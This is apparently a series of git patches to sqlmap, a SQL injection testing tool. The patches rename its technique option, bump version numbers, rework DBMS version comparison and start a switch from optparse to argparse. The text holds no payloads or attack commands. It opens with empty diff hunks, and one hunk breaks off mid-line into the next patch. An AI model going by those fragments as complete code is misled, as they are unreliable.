-2666,7 +2666,7 @@ - + @@ -2678,7 +2678,7 @@ - + @@ -2692,7 +2692,7 @@ - + @@ -2705,7 +2705,7 @@ - + @@ -2718,7 +2718,7 @@ - + @@ -2732,7 +2732,7 @@ - + @@ -2746,7 +2746,7 @@ - + @@ -2773,7 +2773,7 @@ - + @@ -2786,7 +2786,7 @@ - + @@ -2811,7 +2811,7 @@ - + @@ -2824,7 +2824,7 @@ - + @@ -2840,7 +2840,7 @@ - + @@ -2851,7 +2851,7 @@ - + @@ -2862,7 +2862,7 @@ - + @@ -2873,7 +2873,7 @@ - + @@ -2884,7 +2884,7 @@ - + @@ -2895,7 +2895,7 @@ - + @@ -2907,7 +2907,7 @@ - + @@ -2918,7 +2918,7 @@ - + @@ -2929,7 +2929,7 @@ - + @@ -2940,7 +2940,7 @@ - + @@ -2951,7 +2951,7 @@ - + @@ -2962,7 +2962,7 @@ - + @@ -2974,7 +2974,7 @@ - + @@ -2985,7 +2985,7 @@ - + @@ -2996,7 +2996,7 @@ - + @@ -3007,7 +3007,7 @@ - + @@ -3018,7 +3018,7 @@ - + @@ -3029,7 +3029,7 @@ - + @@ -3040,7 +3040,7 @@ - + @@ -3051,7 +3051,7 @@ - + @@ -3063,7 +3063,7 @@ - + @@ -3074,7 +3074,7 @@ - + @@ -3085,7 +3085,7 @@ - + @@ -3096,7 +3096,7 @@ - + @@ -3108,7 +3108,7 @@ - + @@ -3119,7 +3119,7 @@ - + @@ -3130,7 +3130,7 @@ - + @@ -3141,7 +3141,7 @@ - + @@ -3155,7 +3155,7 @@ - + @@ -3166,7 +3166,7 @@ - + @@ -3177,7 +3177,7 @@ - + @@ -3189,7 +3189,7 @@ - + @@ -3201,7 +3201,7 @@ - + @@ -3214,7 +3214,7 @@ - + @@ -3226,7 +3226,7 @@ - + @@ -3253,7 +3253,7 @@ - + @@ -3264,7 +3264,7 @@ - + @@ -3276,7 +3276,7 @@ - + @@ -3287,7 +3287,7 @@ - + @@ -3298,7 +3298,7 @@ - + @@ -3314,7 +3314,7 @@ - + @@ -3328,7 +3328,7 @@ - + @@ -3342,7 +3342,7 @@ - + @@ -3353,7 +3353,7 @@ - + @@ -3364,7 +3364,7 @@ - + @@ -3401,7 +3401,7 @@ - + @@ -3412,7 +3412,7 @@ - + @@ -3421,7 +3421,7 @@ - + @@ -3436,7 +3436,7 @@ - + @@ -3454,7 +3454,7 @@ - + @@ -3466,7 +3466,7 @@ - + @@ -3480,7 +3480,7 @@ - + @@ -3493,7 +3493,7 @@ - + @@ -3507,7 +3507,7 @@ - + @@ -3519,7 +3519,7 @@ - + @@ -3564,7 +3564,7 @@ - + @@ -3576,7 +3576,7 @@ - + @@ -3588,7 +3588,7 @@ - + @@ -3599,7 +3599,7 @@ - + @@ -3612,7 +3612,7 @@ - + @@ -3624,7 +3624,7 @@ - + diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 4c791e4d146..6ed0e24a441 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -220,10 +220,10 @@ def checkSqlInjection(place, parameter, value): # Skip test if the user's wants to test only for a specific # technique - if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech: + if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique: debugMsg = "skipping test '%s' because the user " % title debugMsg += "specified to test only for " - debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.tech) + debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique) logger.debug(debugMsg) continue diff --git a/lib/controller/controller.py b/lib/controller/controller.py index a17f922e7f2..6a9941621ec 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -429,7 +429,7 @@ def start(): if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): - if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: + if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() @@ -533,7 +533,7 @@ def start(): infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: + elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: @@ -612,7 +612,7 @@ def start(): errMsg += " Try to increase values for '--level'/'--risk' options " errMsg += "if you wish to perform more tests." - if isinstance(conf.tech, list) and len(conf.tech) < 5: + if isinstance(conf.technique, list) and len(conf.technique) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: diff --git a/lib/core/common.py b/lib/core/common.py index b4fc24daba2..98ff873021b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3188,7 +3188,7 @@ def isTechniqueAvailable(technique): >>> kb.injection.data = popValue() """ - if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech: + if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique: return False else: return getTechniqueData(technique) is not None diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 95a7f3ff421..d7a27423529 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -20,7 +20,7 @@ "level": 1, "risk": 1, "dumpFormat": "CSV", - "tech": "BEUSTQ", + "technique": "BEUSTQ", "torType": "SOCKS5", } diff --git a/lib/core/option.py b/lib/core/option.py index b132ab2de9e..fc244d9531b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -662,10 +662,10 @@ def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] - if conf.tech and isinstance(conf.tech, six.string_types): + if conf.technique and isinstance(conf.technique, six.string_types): _ = [] - for letter in conf.tech.upper(): + for letter in conf.technique.upper(): if letter not in validLetters: errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) @@ -677,7 +677,7 @@ def _setTechnique(): _.append(validInt) break - conf.tech = _ + conf.technique = _ def _setDBMS(): """ @@ -2476,7 +2476,7 @@ def _basicOptionValidation(): errMsg = "option '-d' is incompatible with switch '--tor'" raise SqlmapSyntaxException(errMsg) - if not conf.tech: + if not conf.technique: errMsg = "option '--technique' can't be empty" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index c5d1c21657e..a344484a3e2 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -105,7 +105,7 @@ }, "Techniques": { - "tech": "string", + "technique": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 7993c34a3e8..6d2ce459ae5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.29" +VERSION = "1.3.6.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -296,7 +296,7 @@ "dbms", "level", "risk", - "tech", + "technique", "getAll", "getBanner", "getCurrentUser", diff --git a/lib/core/target.py b/lib/core/target.py index 89dd446492c..19fc9193404 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -458,9 +458,9 @@ def _resumeHashDBValues(): for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: - if not conf.tech or intersect(conf.tech, injection.data.keys()): - if intersect(conf.tech, injection.data.keys()): - injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech) + if not conf.technique or intersect(conf.technique, injection.data.keys()): + if intersect(conf.technique, injection.data.keys()): + injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique) if injection not in kb.injections: kb.injections.append(injection) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ebd6b7ab175..1434b0ecff9 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -328,8 +328,8 @@ def cmdLineParser(argv=None): # Techniques options techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques") - techniques.add_option("--technique", dest="tech", - help="SQL injection techniques to use (default \"%s\")" % defaults.tech) + techniques.add_option("--technique", dest="technique", + help="SQL injection techniques to use (default \"%s\")" % defaults.technique) techniques.add_option("--time-sec", dest="timeSec", type="int", help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) diff --git a/sqlmap.conf b/sqlmap.conf index b3056cc6ff9..b2defe6ca3d 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -367,7 +367,7 @@ titles = False # Example: ES (means test for error-based and stacked queries SQL # injection types only) # Default: BEUSTQ (means test for all SQL injection types - recommended) -tech = BEUSTQ +technique = BEUSTQ # Seconds to delay the response from the DBMS. # Valid: integer diff --git a/swagger.yaml b/swagger.yaml index 8a79abb239e..806340ab778 100644 --- a/swagger.yaml +++ b/swagger.yaml @@ -402,7 +402,7 @@ paths: googleDork: null saveConfig: null sqlShell: false - tech: BEUSTQ + technique: BEUSTQ textOnly: false cookieDel: null commonColumns: false @@ -456,4 +456,4 @@ paths: timeout: 30 externalDocs: description: "Find out more about sqlmap API (REST-JSON)" - url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json" \ No newline at end of file + url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json" From 90a735e3daba93853da9b4df4380e74b29740f10 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Jun 2019 00:55:36 +0200 Subject: [PATCH 467/800] Adding advice(s) in case of no provided parameters --- lib/controller/controller.py | 8 ++++++++ lib/core/settings.py | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 6a9941621ec..cabe5f76c1d 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -604,6 +604,14 @@ def start(): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" + if kb.originalPage: + advice = [] + if not conf.forms and re.search(r"...) -VERSION = "1.3.6.30" +VERSION = "1.3.6.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bade832a416fc8f3891348041f8f7e041631963a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Jun 2019 01:34:13 +0200 Subject: [PATCH 468/800] Fixes #3741 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 98ff873021b..0ab981c926a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4240,7 +4240,7 @@ def asciifyUrl(url, forceQuote=False): """ parts = _urllib.parse.urlsplit(url) - if not parts.scheme or not parts.netloc: + if not all((parts.scheme, parts.netloc, parts.hostname)): # apparently not an url return getText(url) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1f0a55dfb16..36669583f42 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.31" +VERSION = "1.3.6.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fa1052e8fc039a2491ae8caad5d134d7a7d7965f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Jun 2019 01:39:11 +0200 Subject: [PATCH 469/800] Trivial patch regarding #3741 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index fc244d9531b..6501d32c722 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1597,7 +1597,7 @@ def _cleanupOptions(): conf.delay = float(conf.delay) if conf.url: - conf.url = conf.url.strip() + conf.url = conf.url.strip().lstrip('/') if not re.search(r"\A\w+://", conf.url): conf.url = "http://%s" % conf.url diff --git a/lib/core/settings.py b/lib/core/settings.py index 36669583f42..56b9b3a6057 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.32" +VERSION = "1.3.6.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e30155b657e3ad7d85a2a0657b44d3cb2403d169 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Jun 2019 10:37:13 +0200 Subject: [PATCH 470/800] Minor patch (multi-target resume) --- lib/core/settings.py | 2 +- lib/core/target.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 56b9b3a6057..c3ef8be52d0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.33" +VERSION = "1.3.6.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 19fc9193404..886bde54bee 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -463,6 +463,7 @@ def _resumeHashDBValues(): injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique) if injection not in kb.injections: kb.injections.append(injection) + kb.vulnHosts.add(conf.hostname) _resumeDBMS() _resumeOS() From ce3abdaa4dc0ac10dd743c834f3221bd19d37be1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 9 Jun 2019 01:11:29 +0200 Subject: [PATCH 471/800] Fixes #3745 --- lib/core/common.py | 74 ++++++++++++++++++++++++++++++-------------- lib/core/settings.py | 5 ++- 2 files changed, 54 insertions(+), 25 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0ab981c926a..b35305b6a95 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -12,7 +12,6 @@ import collections import contextlib import copy -import distutils import functools import getpass import hashlib @@ -176,6 +175,7 @@ from lib.core.settings import URLENCODE_CHAR_LIMIT from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import VERSION_COMPARISON_CORRECTION from lib.core.settings import VERSION_STRING from lib.core.settings import ZIP_HEADER from lib.core.settings import WEBSCARAB_SPLITTER @@ -517,7 +517,7 @@ def getIdentifiedDbms(): @staticmethod def getVersion(): - versions = filterNone(flattenValue(kb.dbmsVersion)) + versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion] if not isNoneValue(versions): return versions[0] else: @@ -525,7 +525,7 @@ def getVersion(): @staticmethod def getVersionList(): - versions = filterNone(flattenValue(kb.dbmsVersion)) + versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion] if not isNoneValue(versions): return versions else: @@ -3110,37 +3110,63 @@ def filterNone(values): return retVal -def isDBMSVersionAtLeast(version): +def isDBMSVersionAtLeast(minimum): """ Checks if the recognized DBMS version is at least the version specified + + >>> pushValue(kb.dbmsVersion) + >>> kb.dbmsVersion = "2" + >>> isDBMSVersionAtLeast("1.3.4.1.4") + True + >>> isDBMSVersionAtLeast(2.1) + False + >>> isDBMSVersionAtLeast(">2") + False + >>> isDBMSVersionAtLeast(">=2.0") + True + >>> kb.dbmsVersion = "<2" + >>> isDBMSVersionAtLeast("2") + False + >>> isDBMSVersionAtLeast("1.5") + True + >>> kb.dbmsVersion = popValue() """ retVal = None - if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION: - value = Backend.getVersion().replace(" ", "").rstrip('.') + if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: + version = Backend.getVersion().replace(" ", "").rstrip('.') - while True: - index = value.find('.', value.find('.') + 1) + if '.' in version: + parts = version.split('.', 1) + parts[1] = filterStringValue(parts[1], '[0-9]') + version = '.'.join(parts) - if index > -1: - value = value[0:index] + value[index + 1:] - else: - break + correction = 0.0 + if ">=" in version: + pass + elif '>' in version: + correction = VERSION_COMPARISON_CORRECTION + elif '<' in version: + correction = -VERSION_COMPARISON_CORRECTION - value = filterStringValue(value, '[0-9.><=]') + version = float(filterStringValue(version, '[0-9.]')) + correction - if value and isinstance(value, six.string_types): - if value.startswith(">="): - value = float(value.replace(">=", "")) - elif value.startswith(">"): - value = float(value.replace(">", "")) + 0.01 - elif value.startswith("<="): - value = float(value.replace("<=", "")) - elif value.startswith(">"): - value = float(value.replace("<", "")) - 0.01 - - retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version)) + if isinstance(minimum, six.string_types): + if '.' in minimum: + parts = minimum.split('.', 1) + parts[1] = filterStringValue(parts[1], '[0-9]') + minimum = '.'.join(parts) + + correction = 0.0 + if minimum.startswith(">="): + pass + elif minimum.startswith(">"): + correction = VERSION_COMPARISON_CORRECTION + + minimum = float(filterStringValue(minimum, '[0-9.]')) + correction + + retVal = version >= minimum return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index c3ef8be52d0..e27b5fa9903 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.34" +VERSION = "1.3.6.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -500,6 +500,9 @@ # Percentage below which comparison engine could have problems LOW_TEXT_PERCENT = 20 +# Auxiliary value used in isDBMSVersionAtLeast() version comparison correction cases +VERSION_COMPARISON_CORRECTION = 0.0001 + # These MySQL keywords can't go (alone) into versioned comment form (/*!...*/) # Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM") From 446581496f1b70c70c8f3e45825798258458fcb4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 9 Jun 2019 01:28:21 +0200 Subject: [PATCH 472/800] Probably fixes #3744 --- lib/core/settings.py | 2 +- thirdparty/clientform/clientform.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e27b5fa9903..6ec8424d4f9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.35" +VERSION = "1.3.6.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index e144e17e116..b8debff9645 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -711,7 +711,7 @@ def handle_data(self, data): data = data[1:] map[key] = data else: - map[key] = map[key] + data + map[key] = (map[key].decode("utf8") if isinstance(map[key], six.binary_type) else map[key]) + data def do_button(self, attrs): debug("%s", attrs) From a9d0ecbc66fcc8872368d9dd9dd9c3f9992d4685 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Jun 2019 23:23:36 +0200 Subject: [PATCH 473/800] Minor patch (argparse preparation) --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 36 ++++++++++++++++++------------------ 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6ec8424d4f9..9ea0824be8c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.36" +VERSION = "1.3.6.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 1434b0ecff9..d9aae0af09d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -69,7 +69,7 @@ def cmdLineParser(argv=None): action="store_true", help="Show program's version number and exit") - parser.add_option("-v", dest="verbose", type="int", + parser.add_option("-v", dest="verbose", type=int, help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options @@ -150,7 +150,7 @@ def cmdLineParser(argv=None): request.add_option("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") - request.add_option("--ignore-code", dest="ignoreCode", type="int", + request.add_option("--ignore-code", dest="ignoreCode", type=int, help="Ignore (problematic) HTTP error code (e.g. 401)") request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", @@ -183,13 +183,13 @@ def cmdLineParser(argv=None): request.add_option("--check-tor", dest="checkTor", action="store_true", help="Check to see if Tor is used properly") - request.add_option("--delay", dest="delay", type="float", + request.add_option("--delay", dest="delay", type=float, help="Delay in seconds between each HTTP request") - request.add_option("--timeout", dest="timeout", type="float", + request.add_option("--timeout", dest="timeout", type=float, help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) - request.add_option("--retries", dest="retries", type="int", + request.add_option("--retries", dest="retries", type=int, help="Retries when the connection timeouts (default %d)" % defaults.retries) request.add_option("--randomize", dest="rParam", @@ -204,7 +204,7 @@ def cmdLineParser(argv=None): request.add_option("--safe-req", dest="safeReqFile", help="Load safe HTTP request from a file") - request.add_option("--safe-freq", dest="safeFreq", type="int", + request.add_option("--safe-freq", dest="safeFreq", type=int, help="Test requests between two visits to a given safe URL") request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true", @@ -243,7 +243,7 @@ def cmdLineParser(argv=None): optimization.add_option("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") - optimization.add_option("--threads", dest="threads", type="int", + optimization.add_option("--threads", dest="threads", type=int, help="Max number of concurrent HTTP(s) " "requests (default %d)" % defaults.threads) @@ -301,10 +301,10 @@ def cmdLineParser(argv=None): # Detection options detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase") - detection.add_option("--level", dest="level", type="int", + detection.add_option("--level", dest="level", type=int, help="Level of tests to perform (1-5, default %d)" % defaults.level) - detection.add_option("--risk", dest="risk", type="int", + detection.add_option("--risk", dest="risk", type=int, help="Risk of tests to perform (1-3, default %d)" % defaults.risk) detection.add_option("--string", dest="string", @@ -316,7 +316,7 @@ def cmdLineParser(argv=None): detection.add_option("--regexp", dest="regexp", help="Regexp to match when query is evaluated to True") - detection.add_option("--code", dest="code", type="int", + detection.add_option("--code", dest="code", type=int, help="HTTP code to match when query is evaluated to True") detection.add_option("--text-only", dest="textOnly", action="store_true", @@ -331,7 +331,7 @@ def cmdLineParser(argv=None): techniques.add_option("--technique", dest="technique", help="SQL injection techniques to use (default \"%s\")" % defaults.technique) - techniques.add_option("--time-sec", dest="timeSec", type="int", + techniques.add_option("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) techniques.add_option("--union-cols", dest="uCols", @@ -445,16 +445,16 @@ def cmdLineParser(argv=None): enumeration.add_option("--where", dest="dumpWhere", help="Use WHERE condition while table dumping") - enumeration.add_option("--start", dest="limitStart", type="int", + enumeration.add_option("--start", dest="limitStart", type=int, help="First dump table entry to retrieve") - enumeration.add_option("--stop", dest="limitStop", type="int", + enumeration.add_option("--stop", dest="limitStop", type=int, help="Last dump table entry to retrieve") - enumeration.add_option("--first", dest="firstChar", type="int", + enumeration.add_option("--first", dest="firstChar", type=int, help="First query output word character to retrieve") - enumeration.add_option("--last", dest="lastChar", type="int", + enumeration.add_option("--last", dest="lastChar", type=int, help="Last query output word character to retrieve") enumeration.add_option("--sql-query", dest="sqlQuery", @@ -566,7 +566,7 @@ def cmdLineParser(argv=None): general.add_option("--check-internet", dest="checkInternet", action="store_true", help="Check Internet connection before assessing the target") - general.add_option("--crawl", dest="crawlDepth", type="int", + general.add_option("--crawl", dest="crawlDepth", type=int, help="Crawl the website starting from the target URL") general.add_option("--crawl-exclude", dest="crawlExclude", @@ -653,7 +653,7 @@ def cmdLineParser(argv=None): miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") - miscellaneous.add_option("--gpage", dest="googlePage", type="int", + miscellaneous.add_option("--gpage", dest="googlePage", type=int, help="Use Google dork results from specified page number") miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true", @@ -698,7 +698,7 @@ def cmdLineParser(argv=None): parser.add_option("--dummy", dest="dummy", action="store_true", help=SUPPRESS_HELP) - parser.add_option("--murphy-rate", dest="murphyRate", type="int", + parser.add_option("--murphy-rate", dest="murphyRate", type=int, help=SUPPRESS_HELP) parser.add_option("--debug", dest="debug", action="store_true", From 5650abbb4a1a35d7b51a53cb62e4f272a2fe69c5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 11 Jun 2019 01:45:23 +0200 Subject: [PATCH 474/800] Adding support for argparse --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 609 +++++++++++++++++++++++-------------------- 2 files changed, 322 insertions(+), 289 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9ea0824be8c..dba74647da6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.37" +VERSION = "1.3.6.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d9aae0af09d..d730d6951f5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -12,10 +12,37 @@ import shlex import sys -from optparse import OptionError -from optparse import OptionGroup -from optparse import OptionParser -from optparse import SUPPRESS_HELP +try: + from optparse import OptionError as ArgumentError + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + from optparse import SUPPRESS_HELP as SUPPRESS + + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument_group(self, *args, **kwargs): + return self.add_option_group(OptionGroup(self, *args, **kwargs)) + + ArgumentParser.add_argument_group = _add_argument_group + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + from argparse import ArgumentError + from argparse import SUPPRESS + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) + + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") from lib.core.common import checkOldOptions from lib.core.common import checkSystemEncoding @@ -58,726 +85,732 @@ def cmdLineParser(argv=None): _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) usage = "%s%s [options]" % ("%s " % os.path.basename(sys.executable) if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) - parser = OptionParser(usage=usage) + parser = ArgumentParser(usage=usage) try: - parser.add_option("--hh", dest="advancedHelp", + 